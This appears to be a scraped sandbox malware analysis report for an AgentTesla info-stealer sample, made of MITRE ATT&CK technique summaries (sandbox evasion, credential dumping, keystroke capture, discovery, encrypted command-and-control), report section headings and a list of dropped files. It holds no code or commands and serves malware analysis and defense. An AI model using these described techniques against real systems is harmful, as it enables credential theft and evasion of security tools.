Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PUwpftrjIH.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1vearkbo.2wo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2d33oyta.of4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bol5bhh.5mf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3wtoiv3.ezk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kl2izffn.tea.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psj3hk1b.s0t.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rp0pvnzb.zgh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wvha4chu.ai3.ps1

C:\Users\user\AppData\Local\Temp\tmp32DE.tmp

C:\Users\user\AppData\Local\Temp\tmp4201.tmp

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre